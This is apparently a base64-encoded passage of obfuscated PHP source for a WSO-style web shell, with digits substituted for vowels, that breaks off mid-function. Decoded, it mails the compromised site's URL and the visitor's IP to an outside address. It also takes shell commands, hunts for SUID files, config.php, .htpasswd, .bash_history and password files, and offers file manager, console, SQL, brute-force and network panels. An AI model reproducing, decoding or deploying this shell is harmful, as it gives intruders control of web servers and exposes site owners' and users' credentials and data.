CR2NHM0dGMgID0gMDsNCiAgICAkdjRzNHQyciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICR3NWIgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAgICQ0bmogID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgJHQxcmc1dCAgPSByMXczcmxkNWMyZDUoJHc1Yi4kNG5qKTsNCiAgICAkajNkM2wgICA9ICJTaDVsbDogaHR0cDovLyR0MXJnNXQgYnkgJHY0czR0MnIiOw0KICAgICRiMmR5ICAgID0gIlNoNWxsOiBodHRwOi8vJHQxcmc1dCBieSAkdjRzNHQyciI7DQogICAgQG0xNGwoIno1aDE2OTk2QGdtMTRsLmMybSIsICRqM2QzbCwgJGIyZHkpOw0KfSA1bHM1IHsNCiAgICAkdjRzNHRjKys7DQp9DQoNCkBzNXRjMjJrNDUoInY0czR0cyIsICR2NHM0dGMpOw0KDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KDQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKDRzczV0KCRfUE9TVFsnYyddKSkNCglAY2hkNHIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnNXRjd2QoKTsNCjRmKCQycyA9PSAndzRuJykgew0KCSRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCgkkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCjRmKCAkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycgKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRHTE9CQUxTWydkNWYxM2x0XzNzNV8xajF4J107DQoJDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogIAkJImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCgkJIkwyYzF0NSIgPT4gIiIsDQogIAkJImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KCQkibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCgkJImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCgkJImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQoJCSJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCgkJImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KCQkibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQoJCSJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQoJCSJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KCQkibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCgkJImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQoJCSJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KCQkibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQoJCSJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQoJCSJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQoJCSJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCgkJImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiCQ0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIH4gIiAuIFdTT19WRVJTSU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojZmZmZmZmO2MybDJyOiMwMDAwMDA7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojMDAwMDAwOyB9DQp0MWJsNS40bmYyeyBjMmwycjojMDAwMDAwO2IxY2tncjIzbmQtYzJsMnI6IzU5NTk1OTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogIzAwMDAwMCAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICNDb0M3Q0E7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IEFyNDFsLFQxaDJtMTtiMWNrZ3IyM25kLWMybDJyOiNmZmZmZmY7bTFyZzRuOjBweDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojNTk1OTU5OyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjZjlmOWY5O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6YWkwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6IzAwMDAwMDtiMWNrZ3IyM25kLWMybDJyOiNmZmZmZmY7YjJyZDVyOjZweCBzMmw0ZCAjQzhFb0ZvOyBmMm50OiA5cHQgTTJuMnNwMWM1LCdDMjNyNDVyIE41dyc7IH0NCmYycm17IG0xcmc0bjowcHg7IH0NCiN0MjJsc1RibHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCi50MjJsc0lucHsgdzRkdGg6IG8wMHB4IH0NCi5tMTRuIHRoe3Q1eHQtMWw0Z246bDVmdDtiMWNrZ3IyM25kLWMybDJyOiNlRTdEOGU7fQ0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojQzhFb0ZvfQ0KLmw2e2IxY2tncjIzbmQtYzJsMnI6I2Y5ZjlmOX0NCi5sYXtiMWNrZ3IyM25kLWMybDJyOiNDOEVvRm99DQpwcjV7ZjJudC1mMW00bHk6QzIzcjQ1cixNMm4yc3AxYzU7fQ0KPC9zdHlsNT4NCjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX0NCglmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCXYxciBwMXIxbXMgPSAnMWoxeD10cjM1JzsNCgkJZjJyKDQ9MDs0PGQubWYuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCXAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQoJCXNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KCX0NCglmM25jdDQybiBzcigzcmwsIHAxcjFtcykgewkNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiNDb0M3Q0E7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOyANCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovL3d3dy5nMjJnbDUuYzJtL3M1MXJjaD9xPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRGLTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTUUwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8YzVudDVyPjxmMm50IGMybDJyPSIjaWVpMGk2IiA+PGYybnQgczR6NT0iYXB0IiBmMWM1PSJDMjNyNDVyIE41dywgQXI0MWwiPlsjXSBSb0xBUFNvICcgLiBXU09fVkVSU0lPTiAuICcgQnkgIE4xWlogPC9mMm50PjwvYzVudDVyPic7DQoJNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPjNuMW01Ojxicj4zczVyOjxicj5waHA6PGJyPmhkZDo8YnI+cHdkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+PGJyPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+UzUxcmNoPC8xPjwvbjJicj48YnI+JyAuICQzNGQgLiAnICggJyAuICQzczVyIC4gJyApIDxzcDFuPkdyMjNwOjwvc3Axbj4gJyAuICRnNGQgLiAnICggJyAuICRncjIzcCAuICcgKTxicj4nIC4gQHBocHY1cnM0Mm4oKSAuICcgPHNwMW4+UzFmNSBtMmQ1Ojwvc3Axbj4gJyAuICgkR0xPQkFMU1snczFmNV9tMmQ1J10/JzxmMm50IGMybDJyPXI1ZD5PTjwvZjJudD4nOic8ZjJudCBjMmwycj1ncjU1bj48Yj5PRkY8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+IHBocDRuZjI8LzE+IDxzcDFuPkQxdDV0NG01Ojwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiB3czJWNDV3UzR6NSgkdDJ0MWxTcDFjNSkgLiAnIDxzcDFuPkZyNTU6PC9zcDFuPiAnIC4gd3MyVjQ1d1M0ejUoJGZyNTVTcDFjNSkgLiAnICgnLiAoNG50KSAoJGZyNTVTcDFjNS8kdDJ0MWxTcDFjNSo2MDApIC4gJyUpPGJyPicgLiAkY3dkX2w0bmtzIC4gJyAnLiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPkgyc3Q6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJzxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjwxIGhyNWY9aHR0cDovL3d3dy5iNG5nLmMybS9zNTFyY2g/cT00cDonIC5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuICcgPicgLmc1dGgyc3RieW4xbTUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4gJzwvMT48YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6NnB4IHMybDRkICMwMDAwMDA7IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwy